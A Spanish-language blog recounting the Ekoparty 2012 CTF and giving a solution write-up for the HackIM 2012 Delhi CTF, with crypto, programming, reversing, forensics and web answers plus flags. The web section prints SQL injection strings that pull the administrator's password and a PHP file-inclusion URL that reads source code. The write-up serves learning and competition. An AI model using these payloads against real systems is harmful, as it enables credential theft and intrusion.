lunes, 24 de septiembre de 2012

Ekoparty 2012

Foto de la presentacion del CTF (desde un album de Matias Nicolas Golini)

La semana pasada estuve en Argentina en la octava edicion de la ekoparty Security Conference y junto con @nonroot tuvimos a cargo la realizacion del CTF.  El evento se realizo en Buenos Aires del 19 al 21 de septiembre, e incluia algunos trainings previos durante los dias 17 y 18.  Yo logre participar en el training Defeating Software Protections a cargo de Ricardo Narvaja, Nahuel Riva, y Ariel Coronel, todos ellos desarrolladores de exploits para CORE Security.

Los reversers del curso :)
El evento incluyo tambien talleres de lockpicking, de antenas wi-fi caseras, competncia de Mortal Kombat II en una Sega Genesis, muestras del museo de hardware, y múltiples retos además del nuestro.  Sin mencionar las charlas que desde luego tuvieron un nivel altísimo.

Taller de lockpicking
Nuestro CTF se diseño para 30 niveles, sobre la misma plataforma del MISCONF-CTF adaptada para el evento y con retos completamente nuevos, varios de ellos relacionados con las charlas de la ekoparty.  El juego lo gano un chico que se registro con el alias "mj", seguido por el equipo "Coca Cuelas" y el equipo "Noobs".

Jugadores del CTF.  El primero a la izquierda es mj.
Mientras cuidabamos que los chicos se centraran en romper los niveles del juego y no la maquina target, o el scoreboard, o nuestros laptops, tuve la oportunidad de jugar un reto de ESET Latinoamerica en analisis de malware (no era realmente malware) en el que pude completar los primeros 5 de 6 niveles.  El sexto no lo pude hacer porque no logre siquiera que corriera en la maquina que llevaba (parece que andaba bien en Windows XP).
El desafio ESET y la maquina de pop-corn
Eventualmente actualizare con las soluciones al reto Eset, mas comentarios…  Tambien nos pidieron las soluciones de algunos retos del CTF, pero esperaremos a que los que jugaron publiquen sus propias soluciones primero.  Además, es posible que los retos se publiquen.

El scoreboard. Felicitaciones!
Por ahora, solo puedo dejar un abrazo con gratitud y admiracion para Leo. Jero, Juan, Fede, y los demas orgnizadores del evento…

domingo, 9 de septiembre de 2012

HackIM 2012 Delhi

Hoy ha terminado el HackIM 2012 Delhi, el CTF que antecede la Nullcon y que sirve como clasificatorio para su reto in situ: el JailBrak (Mas información en la entrada del HackIM 2012 Goa).

A diferencia de la edición Goa que terminó en cuanto alguien completó y documentó los 35 niveles (y eso tomó cerca de una semana), en Delhi se jugó contra reloj y la competencia sólo duró dos días (aunque la plataforma sigue disponible). Los colombianos nos enteramos tarde y sólo jugamos durante el segundo día aunque lo hicimos por 23 horas seguidas.

Las categorías son las mismas que en Goa, aunque esta vez solo había 3 retos para la categoría Log Load (100, 300, y 500 puntos), asi que esta vez fueron 33 niveles en total. No alcance a resolver los siguientes niveles: Crypto 4 y 5, Programming 3, 4, y 5, Reverse Me 3 y 5, y Forensics 1, 2 y 5.

Terminé entonces con 23 niveles resueltos y 4950 puntos, lo que me clasificó en la séptima posición.

Scoreboard HackIM 2012 Delhi
Por cierto, EL CAPO DOS (en el puesto 9) es otro colombiano que prefiere mantener su identidad en secreto pero todos sabemos quien es, y que perdió algunos puntos por irse a dormir a las 7 am. Tambien estuvó tinpardo se fue a dormir a la 1.00 am pero que alcanzo a ayudar. En los puestos 4 y 5, Himanshu y R3dsm0k3 (really nice guys from India) son los ganadores del JailBreak de Goa en el pasado mes de febrero.

Trivia

  • Trivia 1 - 50 pts <!-- LKML -->
    Magic string Used to Identify hyper V Linux Instance? 0xB16B00B5
  • Trivia 2 - 50 pts <!-- metasploit -->
    Reboot Exploit patch date (Date format ddmmyyyy)? 09082005
  • Trivia 3 - 50 pts <!-- tt0113957 -->
    Security software in "the net"? Gatekeeper
  • Trivia 4 - 50 pts <!-- ftp://ftp.rfc-editor.org/in-notes/ -->
    800Bytes OC1 to 400Bytes english poem conversion. RFC? 1605
  • Trivia 5 - 50 pts <!-- nm0794890 -->
    He worked for a big insurance firm before being forced to drive light bike? Ram

Crypto

Crypto 1 : Lets Play - 100 pts

Lets start with some simple crypto challenges please answer this?
• − • − − − − − − • − • − − • − • − − • • • − • − − • • − • − • • − • − • − − • • • − • • • − • • − • • − − − − • • • • − • − − − − • − − • − − − • − • − − • − − • • − • • − • − • − • − − − • • − − • • − • − − − • − • • • − − − − • • • • − • • − • • • − • − − − − • − • • • • − − − − • • − − • − • • − • − • − • • − • • − • • − • − • • • − − − − • • • • − • − − − − • − − − − • • • • − − • − − • • • − • • • − • • − • • • • − • • − • • − − • • • − − • • − − − • • − • − • • • − • • − • • • • • • • − • • • − • • • − • − • • • − • • − • • − • • • • • • • − • • • − • • • − • − • • • − • − − • − • • • − • • − • − − • • • • − − − − − • • • − • − • − • − • − • • • − • • • − • • − − − − • • • • − − • − • • − • − • • • • • • − • • − • • • − − • • • • • • • − • − − − − • − • − − • • • − − • • − − − − • • • − • − − • • − • − − • • − • • • • • − • − • • • • • • • − • • − • • • • • • • • − − • • • • − − − • • • − • − • • − − − • − − − • • • − • • • − • • − • • − • • • • • • • − • − • − • • • − • • • − • • − − − − • • • • − − • − • • − • − • • • − − • • • − • − • − • − • − • • • − • • • − • • − − − − • • • • − − • − • • • − • • • • − − • • • − • • • − • • − • − • − − • − • • • • − • − • − − • • − • • • − − • • • • • • • − • − − − − • − − − − • − • − • − • − − − • − • • − • • − − • − − • • • − − − − • − • • − • • • • − • − • • • • − − • • • • − − − − − − • − • • • − • − − • − • • • • • • − • − − • • • • • − − • − • • − • • • − • • • • • − • − • − • − − − • − • − − • − • • • • − • − • − − • • − • − − − − − • • − − − − − • • • − • − • − • − • − • • • − • • • − • • − − − − • • • • − − • − • • • − • • − • − − • • • − • − • • • • − • − • • • − • • • • − • • − • − • • • • • • − − • • • − • − • • • − • − • − − • • • • • − • • • • − − − • • • • − • • − • − • • − • − − • • • − • − • • • − • − • −
<!-- Samuel FBM to base, package delivered over -->

Parece un mensaje en morse y hay herramientas online para resolverlo. Sin embargo, la mayoria espera que presentemos los simbolos como "-" y ".", asi que procesamos un poco el mensaje. Ademas vemos que los caracteres estan separados por espacios, y no se encuentra un separador de letras, pero explorando las fuentes html, vemos que se trata de un truco con el style, y en en verdad, en ocasiones vienen tres espacios juntos, lo que asumimos sera el separador de letras.

 [rmolina@maybe-failed nullcon]$ echo "o - o - - - - - - o - o - - o - o - - o o o - o - - o o - o - o o - o - o - - o o o - o o o - o o - o o - - - - o o o o - o - - - - o - - o - - - o - o - - o - - o o - o o - o - o - o - - - o o - - o o - o - - - o - o o o - - - - o o o o - o o - o o o - o - - - - o - o o o o - - - - o o - - o - o o - o - o - o o - o o - o o - o - o o o - - - - o o o o - o - - - - o - - - - o o o o - - o - - o o o - o o o - o o - o o o o - o o - o o - - o o o - - o o - - - o o - o - o o o - o o - o o o o o o o - o o o - o o o - o - o o o - o o - o o - o o o o o o o - o o o - o o o - o - o o o - o - - o - o o o - o o - o - - o o o o - - - - - o o o - o - o - o - o - o o o - o o o - o o - - - - o o o o - - o - o o - o - o o o o o o - o o - o o o - - o o o o o o o - o - - - - o - o - - o o o - - o o - - - - o o o - o - - o o - o - - o o - o o o o o - o - o o o o o o o - o o - o o o o o o o o - - o o o o - - - o o o - o - o o - - - o - - - o o o - o o o - o o - o o - o o o o o o o - o - o - o o o - o o o - o o - - - - o o o o - - o - o o - o - o o o - - o o o - o - o - o - o - o o o - o o o - o o - - - - o o o o - - o - o o o - o o o o - - o o o - o o o - o o - o - o - - o - o o o o - o - o - - o o - o o o - - o o o o o o o - o - - - - o - - - - o - o - o - o - - - o - o o - o o - - o - - o o o - - - - o - o o - o o o o - o - o o o o - - o o o o - - - - - - o - o o o - o - - o - o o o o o o - o - - o o o o o - - o - o o - o o o - o o o o o - o - o - o - - - o - o - - o - o o o o - o - o - - o o - o - - - - - o o - - - - - o o o - o - o - o - o - o o o - o o o - o o - - - - o o o o - - o - o o o - o o - o - - o o o - o - o o o o - o - o o o - o o o o - o o - o - o o o o o o - - o o o - o - o o o - o - o - - o o o o o - o o o o - - - o o o o - o o - o - o o - o - - o o o - o - o o o - o - o - " | sed 's/- /-/g;s/o /./g'  
 .-. --- - -- . -.-- .-. --. ..-. --.. -. -..- .-. --. ..- ...- ..-. .--- -... . -.-- --.- -. --- .-. --. --. .-. . -.-. -.-- -. .--. .-. --- .-.. .--- -... . -..- ...- .- - --. -... .--- -. . --.- ..-. -. - . .-. .-. .- .-. . .--- -... . -.-- --.- --- .... --. --. ..- ...- ..-. ...- ..-. .- -... --. .--- ..- .-.. .-.. -... .... -. . .-. ..- .-. . .-. .-.. -... .... -. . .-. ..- .-. . .-. --. -... -..- .- -... .--- --. ..- .-. -.-. -. ..-. ..-. .--- -... . --.- ..-. -... ...- ..-. ..- -... .... -.-- --.- .- -... --. .--- -. ..-. --. .-. --.. -... . .-. -... ... .-.. -... .... . --. ...- --.. .-. -. .- --.- - - ...- .. .-. .-.. -... .... -.-. -. ..-. ..-. .--- -... . --.- ..-. -... --. ..- .-. -.-. -. ..-. ..-. .--- -... . --.- ... -... . --. ..- ...- ..-. -.-- .-. .. .-. -.-- ..-. ..- -... .... -.-- --.- --- .-. -. -.-- -.-. .-. .- -.-- ...- --- .-. .-.. ..-. -... .- -... .--- --- .-. ..-. --. -... ... -.-- .... .--. -..- ... -... . .- .-. -.- --. -.-- .-. .. .-. -.-- ..-. --- --. .--- --. ..- .-. -.-. -. ..-. ..-. .--- -... . --.- ...- ..-. --. ..- .-. ...- .- .. .-. . ..-. .-. -... ... --. ..- .-. .. -. -.-- .... .-. ...- - -. .. .-. .-. -. . -.-- ...- .-. . .-.-.-  
 [rmolina@maybe-failed nullcon]$  


(Al pegar en la consola, los "−" se convierten automaticamente en "-", y los "•" en "o")

El mensaje que obtuvimos decodifica desde morse como:
ROTMEYRGFZNXRGUVFJBEYQNORGGRECYNPROLJBEXVATGBJNEQFNTERRAREJBEYQOHGGUVFVFABGJULLBHNERURERLBHNERURERGBXABJGURCNFFJBEQFBVFUBHYQABGJNFGRZBERBSLBHEGVZRNAQTTVIRLBHCNFFJBEQFBGURCNFFJBEQSBEGUVFYRIRYFUBHYQORNYCRAYVORLFBABJORFGBSYHPXSBEARKGYRIRYFOGJGURCNFFJBEQVFGURVAIREFRBSGURINYHRVTNIRRNEYVRE.

Lo que decodifica desde ROT-13 como:
EBGZRLETSMAKETHISWORLDABETTERPLACEBYWORKINGTOWARDSAGREENERWORLDBUTTHISISNOTWHYYOUAREHEREYOUAREHERETOKNOWTHEPASSWORDSOISHOULDNOTWASTEMOREOFYOURTIMEANDGGIVEYOUPASSWORDSOTHEPASSWORDFORTHISLEVELSHOULDBEALPENLIBEYSONOWBESTOFLUCKFORNEXTLEVELSBTWTHEPASSWORDISTHEINVERSEOFTHEVALUEIGAVEEARLIER.

Donde la parte relevante es algo como: "So, the password for this level should be alpenlibey. So, now best of lick for the next levels. BTW, the password is the inverse of the value I gave earlier."
Tinpardo fue el primero en resolver este nivel.
Bandera: yebilneepla

Crypto 2 : Rollon - 200 pts

Looks like you want some more try solving this?Bhajan Bazaar Binder Baboos Baboon Bummer Batata Bionic Baxter Behead Beards
<!-- http://bit.ly/SBFyDr http://bit.ly/SBFyDr http://bit.ly/SBFyDr -->

En http://bit.ly/SBFyDr encontramos una imagen de tres niños jugando a saltar la cuerda.


Aprendemos que en ingles el juego se llama skipping. Se trata de saltarse algunas letras? Tres niños, Tres veces la misma pista…Saltarse tres letras?

 [rmolina@maybe-failed nullcon]$ echo "Bhajan Bazaar Binder Baboos Baboon Bummer Batata Bionic Baxter Behead Beards" | sed "s/^...//g;s/.. ...//g;s/..$//g"  
 jadoomanter  
 [rmolina@maybe-failed nullcon]$  

Bandera: jadoomanter

Crypto 3 : Templars - 300 pts

Decode this simple Knight in the shining armour Crypto TNPFZANAFGSMCZOIMAEIATOIEOGOIALAGICNAIANOAEOE 

<!-- 

                        /\
  ___                  /  \                  ___
 /   \     __         /    \         __     /
/     \   /  \   _   /      \   _   /  \   /
       \_/    \_/ \_/________\_/ \_/    \_/
 __________________/__I___I___\________________
                  /_I___I___I__\
                 /I___I___I___I_\
                /___I___I___I___I\
               /__I___I___I___I___\
              /_I___I___I___I___I__\
             /I___I___I___I___I___I_\
            /___I___I___I___I___I___I\
           /__I___I___I___I___I___I___\
          /_I___I___I___I___I___I___I__\
 -->


Buscamos "Templars + Knight + Crypto + Pyramid" en Google y en el primer enlace obtenemos la información que buscamos:


Usando tr(1) decodificamos el mensaje usando la tabla de correspondencias que encontramos:

 [rmolina@maybe-failed nullcon]$ echo TNPFZANAFGSMCZOIMAEIATOIEOGOIALAGICNAIANOAEOE | tr CQIWPUHVOBGZNATYMESFLDRX a-ik-z  
 pneumonoultramicroscopicsilicovolcanoconiosis  
 [rmolina@maybe-failed nullcon]$  

Bandera: pneumonoultramicroscopicsilicovolcanoconiosis

Programming

Programming 1 : Friday the 13th - 100 pts

 from itertools import takewhile, count  
 from datetime import date, timedelta  
 f13 = 0  
 for year in range(2000,2101):  
     one_day = timedelta(days=1)  
     start_year = date(year, 1, 1)  
     for day in takewhile(lambda d: d <= date(year, 12, 31), (start_year + one_day * c for c in count(0))):  
       if day.weekday() == 4 and day.day == 13:  
         f13 = f13 + 1  
 print f13  

Bandera: 173

Programming 2 : Positivity - 200 pts

Positivity?
What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 100?

 target = 100  
 smaller = 1  
 for i in range(2, target + 1):  
   factor = 1  
   while (factor * smaller) % i != 0:  
      factor = factor + 1  
   smaller = smaller * factor  
 print smaller  

Bandera: 69720375229712477164533808935312303556800

Reverse Me

Reverse Me 1 : DexTer - 100 pts

Usamos dex2jar para generar un .jar desde el archivo .dex y JD-GUI para decompilar las clases:

 public class MainActivity extends Activity  
 {  
  @SuppressLint({"NewApi"})  
  public static void a(Context paramContext, String paramString)  
  {  
   if (Build.VERSION.SDK_INT < 11)  
    ((android.text.ClipboardManager)paramContext.getSystemService("clipboard")).setText(paramString);  
   while (true)  
   {  
    return;  
    ((android.content.ClipboardManager)paramContext.getSystemService("clipboard")).setPrimaryClip(ClipData.newPlainText("title", paramString));  
   }  
  }  
  private String b()  
  {  
   return "KABHI";  
  }  
  private String c()  
  {  
   return b() + b() + "MERE" + d();  
  }  
  private String d()  
  {  
   return "DIL ME";  
  }  

Bandera: KABHIKABHIMEREDIL ME

Reverse Me 2 : Dead on Scene - 200 pts

Pendiente


Reverse Me 4 - 400 pts

En este nivel se nos pide encontrar el serial para el usuario "null" (weeeeee! una de seriales!)

Identificanos el binario:

 [rmolina@maybe-failed nullcon]$ file null4.exe  
 null4.exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped  

Intentamos depurarlo con ltrace(1), e ingresamos el usuario "null" y el serial "123456":

 [rmolina@maybe-failed nullcon]$ ltrace ./null4.exe  
 __libc_start_main(0x4006e4, 1, 0x7fff76756508, 0x400950, 0x4009e0 <unfinished ...>  
 puts("\n\n[ Nullcon level-4 challenge ]"  
 [ Nullcon level-4 challenge ]  
 )    = 32  
 printf("\n[+] Enter Name: "  
 )           = 17  
 fgets([+] Enter Name: null  
 "", 782381061, 0x7fff767563c0)       = 0x7fff767563c0  
 printf("[+] Serial : ")             = 13  
 __isoc99_scanf(0x400a80, 0x7fff76756400, 0x7fff76756400, 0x400a7f, 13[+] Serial : 123456  
 ) = 1  
 puts("[+] Invalid value"[+] Invalid value  
 )            = 18  
 +++ exited (status 0) +++  
 [rmolina@maybe-failed nullcon]$  

Cuando ingresamos un serial de 10 caracteres el comportamiento cambia:

 [rmolina@maybe-failed nullcon]$ ltrace ./null4.exe  
 __libc_start_main(0x4006e4, 1, 0x7fff65e3d2d8, 0x400950, 0x4009e0 <unfinished ...>  
 puts("\n\n[ Nullcon level-4 challenge ]"  
 [ Nullcon level-4 challenge ]  
 )    = 32  
 printf("\n[+] Enter Name: "  
 )           = 17  
 fgets([+] Enter Name: null  
 "", 1424736261, 0x7fff65e3d190)      = 0x7fff65e3d190  
 printf("[+] Serial : ")             = 13  
 __isoc99_scanf(0x400a80, 0x7fff65e3d1d0, 0x7fff65e3d1d0, 0x400a7f, 13[+] Serial : 0123456789  
 ) = 1  
 strcmp("55995599EE", "KBANTXCXCB")        = -22  
 puts("[-] Nopes.. not yet. Incorrect v"...[-] Nopes.. not yet. Incorrect value!  
 )   = 38  
 +++ exited (status 0) +++  
 [rmolina@maybe-failed nullcon]$  

Vemos una comparacion con strcmp pero no se trata de nuestro serial sino de alguna transformacion.

Intentamos nuevamente, pero ahora con el serial "0000000000"

 [rmolina@maybe-failed nullcon]$ ltrace ./null4.exe  
 __libc_start_main(0x4006e4, 1, 0x7fff87c82518, 0x400950, 0x4009e0 <unfinished ...>  
 puts("\n\n[ Nullcon level-4 challenge ]"  
 [ Nullcon level-4 challenge ]  
 )    = 32  
 printf("\n[+] Enter Name: "  
 )           = 17  
 fgets([+] Enter Name: null  
 "", -1709830139, 0x7fff87c823d0)      = 0x7fff87c823d0  
 printf("[+] Serial : ")             = 13  
 __isoc99_scanf(0x400a80, 0x7fff87c82410, 0x7fff87c82410, 0x400a7f, 13[+] Serial : 0000000000  
 ) = 1  
 strcmp("54761032=<", "KBANTXCXCB")        = -22  
 puts("[-] Nopes.. not yet. Incorrect v"...[-] Nopes.. not yet. Incorrect value!  
 )   = 38  
 +++ exited (status 0) +++  
 [rmolina@maybe-failed nullcon]$  

El primer string en el strcmp cambia, pero el segundo no.  Concluimos que "KBANTXCXCB" es la transformacion del serial correcto.

Antes de intentar reversar la funcion que transforma el serial, haremos una prueba adicional con el serial "1111111111"

 [rmolina@maybe-failed nullcon]$ ltrace ./null4.exe  
 __libc_start_main(0x4006e4, 1, 0x7fff243dd7b8, 0x400950, 0x4009e0 <unfinished ...>  
 puts("\n\n[ Nullcon level-4 challenge ]"  
 [ Nullcon level-4 challenge ]  
 )    = 32  
 printf("\n[+] Enter Name: "  
 )           = 17  
 fgets([+] Enter Name: null  
 "", 1651769349, 0x7fff243dd670)      = 0x7fff243dd670  
 printf("[+] Serial : ")             = 13  
 __isoc99_scanf(0x400a80, 0x7fff243dd6b0, 0x7fff243dd6b0, 0x400a7f, 13[+] Serial : 1111111111  
 ) = 1  
 strcmp("65872143>=", "KBANTXCXCB")        = -21  
 puts("[-] Nopes.. not yet. Incorrect v"...[-] Nopes.. not yet. Incorrect value!  
 )   = 38  
 +++ exited (status 0) +++  
 [rmolina@maybe-failed nullcon]$  

Y parece que esto sera mas facil de lo que esperabamos! El serial "0000000000" se transformo en "54761032=<", y el serial "1111111111" se transformo en "65872143>=", por lo que parece simplemente se estan sumando numeros diferentes a cada posicion. Al primer caracter le sumo 5, por eso cambia de 0 a 5 y de 1 a 6, al segundo caracter le sumo 4, por eso cambia de 0 a 4 y de 1 a 5, y asi para los demas, cada posicion con un numero dirente.

Vemos entonces, el primer caracter que espera es una "K", y el primer caracter esta desplazado en cinco unidades, entonces, K - 5? es una "F", vamos a probarlo ingresando el serial "F000000000":

 [rmolina@maybe-failed nullcon]$ ltrace ./null4.exe  
 __libc_start_main(0x4006e4, 1, 0x7fff13743958, 0x400950, 0x4009e0 <unfinished ...>  
 puts("\n\n[ Nullcon level-4 challenge ]"  
 [ Nullcon level-4 challenge ]  
 )    = 32  
 printf("\n[+] Enter Name: "  
 )           = 17  
 fgets([+] Enter Name: null  
 "", 572506117, 0x7fff13743810)       = 0x7fff13743810  
 printf("[+] Serial : ")             = 13  
 __isoc99_scanf(0x400a80, 0x7fff13743850, 0x7fff13743850, 0x400a7f, 13[+] Serial : F000000000  
 ) = 1  
 strcmp("K4761032=<", "KBANTXCXCB")        = -14  
 puts("[-] Nopes.. not yet. Incorrect v"...[-] Nopes.. not yet. Incorrect value!  
 )   = 38  
 +++ exited (status 0) +++  
 [rmolina@maybe-failed nullcon]$  

Y efectivamente, tenemos el primer caracter listo!

Con una tabla ascii a la mano y la misma logica para el resto del string, obtenemos:

 [rmolina@maybe-failed nullcon]$ ltrace ./null4.exe  
 __libc_start_main(0x4006e4, 1, 0x7fff1cff7928, 0x400950, 0x4009e0 <unfinished ...>  
 puts("\n\n[ Nullcon level-4 challenge ]"  
 [ Nullcon level-4 challenge ]  
 )    = 32  
 printf("\n[+] Enter Name: "  
 )           = 17  
 fgets([+] Enter Name: null  
 "", -1944305659, 0x7fff1cff77e0)      = 0x7fff1cff77e0  
 printf("[+] Serial : ")             = 13  
 __isoc99_scanf(0x400a80, 0x7fff1cff7820, 0x7fff1cff7820, 0x400a7f, 13[+] Serial : F>:HSX@V66  
 ) = 1  
 strcmp("KBANTXCXCB", "KBANTXCXCB")        = 0  
 puts("[+] Great work, mate!"[+] Great work, mate!  
 )          = 22  
 +++ exited (status 0) +++  
 [rmolina@maybe-failed nullcon]$  

Bandera: F>:HSX@V66

Log Load

Log Load 1 : YOU YES BEE - 100 pts

Pendiente


Log Load 2 : Whisper in the ear - 300 pts

Pendiente


Log Load 3 : DB FUN - 500 pts

Pendiente


Forensics

Forensics 3 - 300 pts

Tenemos un directorio leethaxor/ para inspeccionar y rapidamente vemos que incluye cerca de 1000 archivos:

 [rmolina@maybe-failed leethaxor]$ find . -type 'f' | wc -l  
 975  

Creamos una lista de extensiones presentes en el directorio
 [rmolina@maybe-failed leethaxor]$ for file in `find . -type f`; do echo ${file##*.}; done | grep -v '/' | sort -ui | nl  
    1     bak  
    2     css  
    3     dat  
    4     db  
    5     dtd  
    6     eot  
    7     html  
    8     ico  
    9     idl  
   10     in  
   11     ini  
   12     jar  
   13     jpg  
   14     js  
   15     jsm  
   16     json  
   17     little  
   18     log  
   19     manifest  
   20     mf  
   21     mfl  
   22     parentlock  
   23     png  
   24     properties  
   25     pset  
   26     rdf  
   27     rsa  
   28     session  
   29     sf  
   30     sqlite  
   31     svg  
   32     ttf  
   33     txt  
   34     woff  
   35     xhtml  
   36     xml  
   37     xpi  
   38     xpt  
   39     xul  
 [rmolina@maybe-failed leethaxor]$   

Inspeccionamos la primera entrada en la lista:

 [rmolina@maybe-failed leethaxor]$ find . -type 'f' -iname '*.bak'  
 ./sessionstore.bak  

Este es el contenido de sessionstore.bak :

 {"windows":[{"tabs":[{"entries":[{"url":"about:newtab","title":"New Tab","ID":15,"docshellID":17,"owner_b64":"SmIS26zLEdO3ZQBgsLbOywAAAAAAAAAAwAAAAAAAAEY=","docIdentifier":15,"scroll":"0,0"}],"index":1,"hidden":false,"attributes":{}}],"selected":1,"_closedTabs":[{"state":{"entries":[{"url":"http://ctf.nullcon.net/test.html","ID":14,"docshellID":16,"docIdentifier":14,"scroll":"0,0"}],"index":1,"hidden":false,"attributes":{}},"title":"http://ctf.nullcon.net/test.html","image":"","pos":0},{"state":{"entries":[{"url":"http://ctf.nullcon.net/index.html","title":"CTF Nullcon","ID":10,"docshellID":14,"docIdentifier":10},{"url":"http://ctf.nullcon.net/test.html","ID":11,"docshellID":14,"docIdentifier":11,"scroll":"0,0"}],"index":2,"hidden":false,"attributes":{},"storage":{"http://ctf.nullcon.net":{"yek":"brotherwachowski"}}},"title":"http://ctf.nullcon.net/test.html","image":"","pos":0},{"state":{"entries":[{"url":"about:newtab","title":"New Tab","ID":12,"docshellID":15,"owner_b64":"SmIS26zLEdO3ZQBgsLbOywAAAAAAAAAAwAAAAAAAAEY=","docIdentifier":12,"scroll":"0,0"}],"index":1,"hidden":false,"attributes":{}},"title":"New Tab","image":"","pos":1},{"state":{"entries":[{"url":"http://ctf.nullcon.net/index.html","title":"CTF Nullcon","ID":7,"docshellID":13,"docIdentifier":7,"scroll":"0,0"}],"index":1,"hidden":false,"attributes":{},"storage":{"http://ctf.nullcon.net":{"yek":"brotherwachowski"}}},"title":"CTF Nullcon","image":"","pos":0},{"state":{"entries":[{"url":"http://ctf.nullcon.net/test.html","ID":3,"docshellID":8,"docIdentifier":3},{"url":"http://view-sourcectf.nullcon.net/test.html","ID":4,"docshellID":8,"docIdentifier":4},{"url":"view-source:http://ctf.nullcon.net/test.html","title":"http://ctf.nullcon.net/test.html","ID":5,"docshellID":8,"docIdentifier":5},{"url":"http://ctf.nullcon.net/test.html","ID":8,"docshellID":8,"docIdentifier":8,"scroll":"0,0"}],"index":4,"hidden":false,"attributes":{}},"title":"http://ctf.nullcon.net/test.html","image":"","pos":0},{"state":{"entries":[{"url":"about:home","title":"Mozilla Firefox Start Page","ID":0,"docshellID":7,"owner_b64":"NhAra3tiRRqhyKDUVsktxQAAAAAAAAAAwAAAAAAAAEYAAQAAAAAAAS8nfAAOr03buTZBMmukiq45X+BFfRhK26P9r5jIoa8RAAAAAAVhYm91dAAAAARob21lAODaHXAvexHTjNAAYLD8FKM5X+BFfRhK26P9r5jIoa8RAAAAAA5tb3otc2FmZS1hYm91dAAAAARob21lAAAAAA==","docIdentifier":0},{"url":"http://ctf.nullcon.net/","title":"CTF Nullcon","ID":1,"docshellID":7,"docIdentifier":1,"scroll":"0,0"}],"index":2,"hidden":false,"attributes":{},"storage":{"http://ctf.nullcon.net":{"yek":"brotherwachowski"}}},"title":"CTF Nullcon","image":"","pos":0}],"extData":{"__SessionManagerWindowId":"window1346970911969"},"width":"994","height":"860","screenX":"4","screenY":"4","sizemode":"maximized","title":"New Tab"}],"selectedWindow":0,"_closedWindows":[],"session":{"state":"stopped","lastUpdate":1346971652293,"startTime":1346970909452,"recentCrashes":0},"scratchpads":[]}  

Tenemos la entrada "yek" y el valor "brotherwachowski".  Vemos que "yek" es el inverso de "key", asi que tambien invertimos "brotherwachowski" :)

Bandera: ikswohcawrehtorb

Forensics 4 - 400 pts

Pendiente

./.config/storeme

Bandera: ADS@NTFS_FUN

Web

Web 1 - 100 pts

This application only allows nulladmin to see the flag, lets see if you can find it? 

Creamos un usuario nuevo en la plataforma de juego con ese nombre !!! (idea de nonroot)

Bandera: p|-|p$3r141123r1$(001

Web 2 - 200 pts

We have designed This superbly Secure Web Service? 
Lets see if you can get Administrator's Password 
Password is the answer 

Exploramos Web services y vemos que se ofrece una operacion para obtener detalles del empleado: "getEmployeeDetails" junto con un enlace para ver el WSDL del servicio:

http://ctf.nullcon.net/web2/index.php?wsdl

Usamos el complemento SOA Client para Firefox para parsear ese WSDL y vemos que el servicio getEmployeeDetails pertenece al servicio employeedb y que recibe el parametro 'name'.

Si se deja el campo vacio se recibe la informacion del empleado "Guy R Cook" junto con un comentario con informacion valiosa:

 <?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getEmployeeDetailsResponse xmlns:ns1="urn:employeedb"><return xsi:type="xsd:string"> Employee ID: EC0010 Employee Name: Guy R Cook Employee Title: Tech</return></ns1:getEmployeeDetailsResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>  
 <!--   
 "CREATE TABLE employees (id int(20) PRIMARY KEY, username varchar(50),password varchar(50),email varchar(50), fullname varchar(50), title varchar (50))";  
  -->  

Tenemos entonces un comentario con una instrucción SQL con la estructura de la tabla. Este comentario venia escondido entre muchas lineas en blanco, aquí se resume la salida suprimiendo estos blancos. El comentario no se incluirá en las siguientes salidas.

En la salida de la consulta vemos que se nos entregan los campos id, fullname, y title para el empleado. Intentamos entonces una inyeccion SQL variando ligeramente la estructura de la respuesta.

' union all select id, email, title from employees where fullname like '%cook%

Y el sistema acepta la consulta y nos retorna:

 <?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getEmployeeDetailsResponse xmlns:ns1="urn:employeedb"><return xsi:type="xsd:string"> Employee ID: EC0010 Employee Name: tmartin@inluminocreative.com Employee Title: Tech</return></ns1:getEmployeeDetailsResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>  

Esta vez, en el campo Name encontramos el correo electronico del empleado en lugar de su nombre.

Como no estamos buscando informacion de un usuario con Title="Tech", modificamos nuestra inyeccion a esta:

' union all select id, fullname, password from employees where title like '%admin%

Para obtener el nombre y password del administrador:

 <?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getEmployeeDetailsResponse xmlns:ns1="urn:employeedb"><return xsi:type="xsd:string"> Employee ID: EC006 Employee Name: Georgia Employee Title: skdnciu93uwkn9wejr4ms9s0sds0</return></ns1:getEmployeeDetailsResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>  

Bandera: skdnciu93uwkn9wejr4ms9s0sds0

Web 3 - 300 pts

Retrive the password for Buggy explorer 

Este explorador incluye solo dos opciones, y por la forma en que se cargan pesamos en que sea vulnerable a alguna forma de Local File Inclusion .

Home : http://ctf.nullcon.net/buggy_explorer/?inc=home.php
Login : http://ctf.nullcon.net/buggy_explorer/?inc=login.php

Finalmente se utilizó una inclusión php://filter/ para leer el codigo fuente de login.php:

http://ctf.nullcon.net/buggy_explorer/?inc=php://filter/convert.base64-encode/resource=login.php

Lo que nos retorna (incrustado en el texto de la pagina y codificado en base64):

